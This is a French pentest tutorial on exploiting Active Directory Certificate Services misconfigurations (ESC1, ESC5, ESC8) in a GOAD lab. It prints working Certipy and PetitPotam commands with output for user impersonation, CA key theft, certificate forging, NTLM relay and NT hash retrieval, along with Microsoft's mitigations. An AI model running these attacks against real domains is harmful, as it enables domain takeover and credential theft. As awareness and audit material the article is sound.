En juin 2021, les experts chez SpecterOps ont sorti un papier de recherche sur les possibilités d’exploiter des défauts de configuration au sein d’AD CS. Aujourd’hui, et malgré le fait que presque deux ans soient passés, les audits effectués par OWN ont révélé une certaine latence sur la sensibilisation à ces problématiques du côté des entreprises. Il est en effet assez répandu aujourd’hui lors d’un test d’intrusion de pouvoir exploiter des défauts de configuration AD CS pour compromettre le domaine trivialement. Cet article a donc pour but de sensibiliser les acteurs aux risques d’un AD CS mal configuré et également de donner les moyens aux pentesters de découvrir et exploiter ces défauts lors de leurs audits.
Il est très intéressant aujourd’hui pour un pentester de cibler AD CS, car c’est une fonctionnalité qui est très répandue au sein d’environnements Active Directory (AD) Windows dans des entreprises de taille moyenne à importante. De plus, les vulnérabilités mentionnées dans cet article découlent d’un défaut de configuration, ce qui signifie que la correction n’est pas aussi simple qu’un correctif à déployer et les failles peuvent être longtemps exploitables pourvu que les équipes techniques n’y soient pas sensibilisées.
Et qui dit sujet intéressant pour un pentester dit automatiquement sujet très intéressant pour un responsable informatique. En effet, certaines des vulnérabilités mentionnées plus loin permettent dans le pire des cas de compromettre l’intégralité d’un domaine Windows depuis un simple accès au réseau !
1. Connaissances requises
1.1 AD CS dans un environnement Windows
Nous allons commencer par un petit rappel sur AD CS. La plupart des informations dans cet article viennent directement du papier de SpecterOps [1] qui a fait un travail de recherche remarquable. L’idée est de rappeler seulement ce qui est pertinent pour cet article, mais j’invite les personnes intéressées à aller lire des articles techniques approfondis.
AD CS est un rôle disponible pour un Windows Server qui permet à ce dernier d’agir en tant qu’Infrastructure à Clef Publique et donc apporter des fonctionnalités de cryptographie, de certificats numériques et de signature digitale au sein d’un environnement AD.
La fonctionnalité d’AD CS qui nous intéresse dans cet article est la génération de certificats pour des utilisateurs ou des machines de l’environnement. En effet, AD CS est responsable de la génération et la distribution de certificats numériques ayant pour vocation différents usages tels que la signature de binaires, le chiffrement de systèmes ou l’authentification.
Avant de parler de la génération des certificats, il convient de faire un rappel rapide sur la structure de ces derniers. J’omets ici intentionnellement le détail des champs les plus techniques pour éviter de me perdre dans le superflu.
Un certificat au format X.509 est ainsi un document signé par une autorité de certification qui contient principalement une clef publique, des champs identifiant le propriétaire du certificat ainsi, qu’optionnellement, des extensions contenues dans le champ habilement nommé Extension.
Ces extensions vont élargir les fonctionnalités du certificat via l’ajout de champs additionnels, par exemple Extended Key Usage qui décrit les utilisations possibles du certificat en question.
Les certificats permettent donc via ces extensions de servir à un grand nombre d’applications, par exemple permettre à tout utilisateur de se connecter via une « smartcard » ou à un utilisateur privilégié de signer du code. Ainsi, une fonctionnalité permettant de standardiser le processus de requête de ces derniers est proposée par AD CS : les modèles de certificats.
Un modèle est une structure de certificat proposée par une autorité de certification hébergée sur un AD CS. Il définit notamment un type de certificat, les actions qu’il est possible d’effectuer avec ainsi que les utilisateurs autorisés à en demander un. Cela permet donc à un utilisateur autorisé de demander un certificat en envoyant une requête sur un modèle particulier et facilite donc grandement l’enrôlement.
1.2 Authentification par certificat
Une fois un certificat obtenu, ce dernier peut être utilisé pour différentes actions en fonction des extensions associées. Cependant, cet article va se concentrer sur l’authentification (Extended Key Usage correspondant à Client Authentication).
Dans un environnement Windows, il existe deux protocoles supportant l’authentification par certificat : Kerberos et Schannel. Cet article va se concentrer sur Kerberos qui est le cas de figure que vous rencontrerez généralement.
1.3 Présentation de l’outil Certipy
Pour exploiter les vulnérabilités, il est recommandé de se familiariser avec le couteau suisse de l’exploitation AD CS, j’ai nommé Certipy [2] ! Ce module Python développé par Oliver Lyak reprend et complète l’outil initialement développé par SpecterOps, appelé Certify, afin de réunir en un toutes les fonctionnalités nécessaires pour l’exploitation AD CS.
La suite de l’article se basera entièrement sur l’utilisation de cet outil pour les exemples.
2. Exploitation
Dans cet article, nous regarderons uniquement les défauts de configuration permettant l’élévation de privilèges. Ces vulnérabilités sont au nombre de 11 et judicieusement nommées ESC1, ESC2, etc., mais dans un souci de longueur, cet article ne se concentrera que sur ESC1, ESC5 et ESC8 qui sont les vulnérabilités les plus pertinentes et réalistes pour un audit classique.
Nous allons donc passer sur chacune de ces vulnérabilités avant de dédier une section sur l’utilisation du certificat ainsi obtenu pour compromettre le domaine. Mais avant tout cela, comment doit procéder un attaquant pour lister les modèles de certificat et identifier ceux qui sont vulnérables ? Accrochez-vous, on y vient.
2.1 Récupération et analyse des modèles de certificats
Sans rentrer dans les détails, la récupération des modèles de certificats peut se faire simplement via des requêtes LDAP sur l’Active Directory. Sans identifiants valides, il est possible de passer par un relais NTLM [6]. En effet, l’outil Impacket ntlmrelayx.py propose une option --dump-adcs lors d’un relais vers LDAP qui permet de récupérer toutes les informations intéressantes.
On peut également passer par l’option -sspi de Certipy si nous l’exécutons depuis une machine reliée au domaine afin d’utiliser l’API Windows pour obtenir un ticket Kerberos sans nécessairement connaître les identifiants de l’utilisateur lié au contexte d’exécution.
Si nous avons un compte, c‘est encore plus facile. Certipy propose une fonctionnalité permettant de récupérer les modèles de certificats en plus de les analyser pour déterminer si oui ou non ils sont vulnérables !
Pour ce faire, la commande classique est la suivante :
Nous récupérons ainsi des informations détaillées sur l’autorité de certification ainsi que sur les modèles de certificats.
Maintenant que nous avons la liste des modèles, il est l’heure pour un rapide rappel des paramètres qu’on peut y trouver et qui détermineront si oui ou non ils sont vulnérables.
2.2 Paramètres d’un modèle de certificats
Encore une fois, nous ne rentrerons pas dans les détails, mais un modèle de certificat définit globalement :
- Qui peut demander un certificat en utilisant ce modèle. L’autorisation est généralement donnée à des groupes AD tels que Domain admins ou Authenticated Users.
- À quoi servent les certificats délivrés via ce modèle. Par exemple à authentifier un client, à signer du code, à s’identifier via 802.1x, etc. Ce champ en question s’appelle Extended Key Usages (EKU) et peut regrouper plusieurs utilisations possibles.
- Comment faire pour obtenir le certificat. En général, tout utilisateur autorisé peut directement obtenir un certificat, mais certaines mesures de protection nécessitent soit la validation de la demande par un utilisateur habilité (Manager Approval), soit par un certain nombre de signatures valides de la requête de certificat (Authorized key signatures).
- Enfin, certains autres paramètres que nous verrons plus tard définissent des autorisations et restrictions additionnelles sur la demande de certificats.
D’autres paramètres intéressants relevés par Certipy sont les ACL de différents groupes d’utilisateurs sur le modèle de certificat. Cela permet de rapidement voir si des permissions abusives sont données à des groupes peu privilégiés.
Enfin, la demande d’un certificat se fait généralement par RPC ou, si l’option est activée, par HTTP/HTTPS via le web enrollment (plus d’informations là-dessus dans la section ESC8).
2.3 ESC1
Attaquons directement avec une des vulnérabilités les plus efficaces. ESC1 correspond à une combinaison fatale de plusieurs paramètres qui sont inoffensifs individuellement, mais une fois combinés permettent la compromission de tout utilisateur du domaine, même un administrateur.
En effet, considérons les paramètres suivants :
- Le modèle de certificat et l’autorité de certification autorisent tous les deux l’enrôlement par un utilisateur non privilégié. Rien de choquant ici, de nombreux certificats sont utiles aux utilisateurs génériques.
- La requête de certificat ne nécessite pas la validation par un manager ou un nombre non nul de signatures. Un peu plus problématique, mais c‘est le fonctionnement par défaut et donc assez répandu.
- Le certificat obtenu via le modèle peut être utilisé pour l’authentification (Client Authentication dans le champ Extended Key Usages (EKU)). Encore une fois, pas de soucis ; un utilisateur non privilégié peut demander un certificat qui permet de l’authentifier.
- Vous vous rappelez des fameux « autres paramètres que nous verrons plus tard » ? Eh bien le drapeau CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT est activé aussi, ce qui permet à l’utilisateur non privilégié de définir un utilisateur autre que lui auquel rattacher le certificat via le champ Subject Alternative Name (SAN) mentionné précédemment.
À nouveau, rien de très grave … et bien si en fait.
Et là je sais ce que vous pensez : « D’accord, mais ça n’arrive jamais, personne n’activerait cette option-là ». Malheureusement si, ça arrive. Pour cause, les équipes techniques ont généralement tendance à copier des modèles de certificat existants pour les adapter à leur nouveau besoin sans pour autant comprendre toutes les options. Ça tombe bien ça, car certains modèles de certificats présents par défaut sur un AD CS nouvellement configuré ont cette option d’activée, fantastique !
Certipy est par ailleurs assez doué pour déterminer si les modèles sont vulnérables, mais toujours faire attention aux faux négatifs, ce serait dommage de passer à côté.
Maintenant que nous avons déterminé que le modèle est activé et vulnérable comment l’exploiter ? Avec Certipy toujours ! Et ce, en une seule ligne :
⟩ certipy req -u jorah.mormont@essos.local -p H0nnor! -target 192.168.56.23 -ca ESSOS-CA -template ESC1 -upn daenerys.targaryen@essos.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with UPN 'daenerys.targaryen@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'daenerys.targaryen.pfx'
Et voilà, vous avez le certificat du compte de votre choix au format pfx ! Nous étudierons plus tard ce qu’il est maintenant possible de faire avec.
2.4 ESC5
ESC5 repose quant à elle sur des défauts de configuration plus généraux, mais entraînant in fine la compromission de l’AD CS. Par exemple, si je compromets le compte machine d’un serveur de CA ou si je compromets le serveur COM utilisé par le serveur de la CA pour les appels RPC/DCOM, je peux potentiellement compromettre l’AD CS.
La recherche de SpecterOps n’a pas détaillé d’attaques ESC5, car le sujet est vaste. Cependant, une piste peut être d’utiliser Certify.exe, l’outil développé par SpecterOps pour lister les ACL des différents objets liés à la PKI via la commande suivante :
Si des défauts d’ACL sont constatés, l’AD CS est à risque de compromission. En effet, l’attaque dite du Golden Certificate [3] permet à un attaquant ayant des droits d’administration sur un serveur CA d’obtenir un accès persistant pour compromettre le domaine.
L’attaque en elle-même consiste à extraire la clef privée et le certificat de la CA au format .p12, par exemple via une connexion RDP et un accès à l’utilitaire certsrv.msc ou via des utilitaires tels que Mimikatz, Seatbelt, SharpDPAPI ou… Certipy ! Décidément, il est partout. La commande pour extraire le certificat de la CA via un compte ayant des droits d’admin dessus est la suivante :
Exemple avec le compte khal.drogo qui est administrateur local sur le serveur 192.168.56.23 :
⟩ certipy ca -backup -u khal.drogo@essos.local -p horse -target 192.168.56.23 -ca ESSOS-CA
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'ESSOS-CA.pfx'
[*] Cleaning up
Une fois ce certificat en notre possession, on peut maintenant délivrer nous-mêmes des certificats valides ! Encore une fois, plusieurs utilitaires tels que Mimikatz, ForgeCert ou Certipy peuvent être utilisés. Sur ce dernier, la commande à faire pour générer un certificat est :
⟩ certipy forge -ca-pfx ESSOS-CA.pfx -upn daenerys.targaryen@essos.local -subject 'CN=daenerys.targaryen,CN=Users,DC=essos,DC=local' -template daenerys.targaryen.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'daenerys.targaryen_forged.pfx'
Similairement à ESC1, je suis en possession du certificat de l’utilisateur de mon choix.
2.5 ESC8
Aaaaah, ESC8… Probablement la plus brutale des vulnérabilités liées à AD CS et celle qui peut permettre de compromettre un domaine en moins de 5 minutes.
Sans perdre de temps, commençons par parler de la racine du problème.
Vous vous rappelez plus haut quand j’ai dit que l’enrôlement se faisait généralement par RPC, mais parfois par HTTP ? Eh bien un AD CS est vulnérable à ESC8 s’il autorise ce fameux enrôlement HTTP (ou Web Enrollment) sans mettre en place de protection contre le relais NTLM ce qui, soyons honnête, est le cas 90% du temps si l’enrôlement HTTP est activé.
Pour vérifier, certipy est globalement assez doué pour le remonter lors de la phase de reconnaissance, mais il est possible de le confirmer en vérifiant si le contrôleur de domaine expose un port HTTP et si l’interface d’enrôlement est bien présente à l’adresse http(s)://<IP_du_DC>/certsrv.
Pour vérifier ensuite que les protections contre le relais NTLM ne sont pas présentes, il n’y a pas de solution plus simple que de tenter le coup.
Très bien, maintenant en quoi consiste l’attaque ? De façon assez évidente, si un utilisateur peut demander un certificat via le protocole HTTP et qu’il est possible de faire du relais NTLM vers le protocole HTTP, je peux relayer une action authentifiée vers le service d’enrôlement d’un certificat permettant l’authentification client afin d’obtenir un certificat permettant d’identifier l’utilisateur relayé.
Compromettre un utilisateur c’est pas mal, surtout que ça permet de pérenniser un accès à partir d’un simple relais NTLM qui est, par définition, unique et éphémère.
La beauté d’ESC8 c’est que nous sommes seulement limités par l’utilisateur qui est relayé et les modèles de certificat qui sont accessibles par cet utilisateur. Cela signifie que si je relaye un compte machine et qu’un modèle de certificat pouvant être demandé par ces derniers permet l’authentification (comme, par exemple, le modèle par défaut Machine), je peux le compromettre également.
Il s’avère qu’un compte machine très sympathique existe sur les environnements AD Windows, c’est celui du contrôleur de domaine qui possède, entre autres, les droits de réplication et donc peut être utilisé pour la fameuse attaque de DCSync [5].
Il s’avère également que plusieurs vulnérabilités existent pour forcer l’authentification de comptes machines, heureuse coïncidence ! La plus répandue est PetitPotam [6] qui n’est pas complètement patchée par Microsoft et est donc généralement présente même sur un système à jour. Il est même à noter que dans le cas où le named pipe EFSRPC est accessible, l’authentification peut être forcée sans identifiants valides sur le domaine.
Récapitulons :
- J’accède au réseau interne et j’effectue ma phase de reconnaissance sur le réseau. Je découvre ainsi qu’un AD CS est configuré et que l’enrôlement HTTP l’est aussi.
- Je mets en place mon relais NTLM qui va attendre une connexion en tentant ma chance pour le modèle par défaut DomainController :
⟩ sudo certipy relay -ca 192.168.56.23 -template DomainController -interface 192.168.56.253
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://192.168.56.23/certsrv/certfnsh.asp
[*] Listening on 192.168.56.253:445
- Je tente ma chance sur PetitPotam avec ou sans identifiants :
⟩ sudo python3 PetitPotam.py 192.168.56.253 192.168.56.12 -u khal.drogo -p horse -d essos.local
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.56.12[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
- Si tout a fonctionné, j’obtiens le certificat du compte machine du contrôleur de domaine.
⟩ sudo certipy relay -ca 192.168.56.23 -template DomainController -interface 192.168.56.253
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://192.168.56.23/certsrv/certfnsh.asp
[*] Listening on 192.168.56.253:445
[*] Requesting certificate for 'ESSOS\\MEEREEN$' based on the template 'DomainController'
[*] Got certificate with DNS Host Name 'meereen.essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'meereen.pfx'
[*] Exiting...
Heure de la mort du réseau interne : t0+5min
Une barrière sur laquelle vous tomberez généralement est l’impossibilité d’exploiter PetitPotam sans identifiants. Soit, il va falloir compter 10 minutes de plus pour compromettre un compte via votre méthode préférée.
Allez créer un compte machine via un autre relais NTLM ou allez voir les post-its sur le poste de travail de la compta, je ne juge pas vos méthodes.
D’un point de vue défensif, Microsoft a émis des recommandations pour se protéger contre ESC8 [7]. Ces dernières se résument à :
- Activer l’Extended Protection for Authentication (EPA) sur l’enrôlement web de l’autorité de certification.
- Activer l’EPA sur le service web d’enrôlement de certificat
- Forcer l’utilisation d’HTTPS pour l’enrôlement web de certificats
Il est pertinent de mentionner aussi la similarité entre ESC8 et ESC11. En effet, cette dernière passe par du relaying vers des endpoints RPC via le protocole MS-ICPR utilisé pour requérir des certificats au lieu de l’enrôlement web. ESC11 est exploitable dans les cas, généralement plutôt rares, où le chiffrement des requêtes MSRPC n’est pas imposé.
Pour plus d’informations sur ESC11, je vous redirige vers la recherche de Compass Security [8] qui l’a découverte.
2.6 Utilisation d’un certificat
Bon, trêve de plaisanteries maintenant. Nous avons travaillé dur et nous avons obtenu un certificat administrateur ou contrôleur de domaine, mais c’est qu’il s’agirait de s’en servir maintenant !
Voyons donc ensemble comment enfoncer le clou et compromettre cette douce base NTDS qui nous est si chère.
2.6.1 Compromission via Kerberos
Dans ce cas de figure, imaginons que nous avons obtenu un certificat administrateur.pfx permettant de s’authentifier en tant qu’administrateur@domaine.local. Nous n’avons plus qu’à sortir Certipy et utiliser la commande suivante :
⟩ certipy auth -pfx daenerys.targaryen.pfx -username daenerys.targaryen -domain essos.local -dc-ip 192.168.56.12 -debug
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: daenerys.targaryen@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'daenerys.targaryen.ccache'
[*] Trying to retrieve NT hash for 'daenerys.targaryen'
[*] Got hash for 'daenerys.targaryen@essos.local': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
Et là, Certipy fait un tour de magie et transforme votre certificat un peu ennuyeux en hash NT beaucoup plus fun en plus de récupérer le TGT, plus qu’à faire votre plus beau Pass-the-Hash [9] avec CrackMapExec [10] de la façon suivante :
Nous aurions pu également compromettre un certificat pour le compte machine du contrôleur de domaine, récupérer le hash NT de la même façon et ensuite utiliser secretsdump.py [11] pour faire un DCSync et récupérer la base NTDS si le dump classique via CrackMapExec est bloqué.
Conclusion
Vous avez maintenant les bases nécessaires pour intégrer AD CS dans vos tests lors d’audits internes ! Vous pouvez maintenant installer chez vous un laboratoire afin de pouvoir tester ces vulnérabilités dans un environnement maîtrisé. Si vous ne savez pas par où commencer, je peux vous conseiller GOAD [12] qui a été utilisé pour les exemples de cet article. Il est en effet très pratique et permet de déployer un environnement vulnérable assez facilement.
Références
[1] https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
[2] https://github.com/ly4k/Certipy
[3] https://pentestlab.blog/2021/11/15/golden-certificate/
[4] https://github.com/ly4k/Certipy/blob/main/README.md
[6] https://github.com/topotam/PetitPotam
[8] https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
[9] https://en.hackndo.com/pass-the-hash/
[10] https://github.com/Porchetta-Industries/CrackMapExec
[11] https://github.com/fortra/impacket/blob/master/examples/secretsdump.py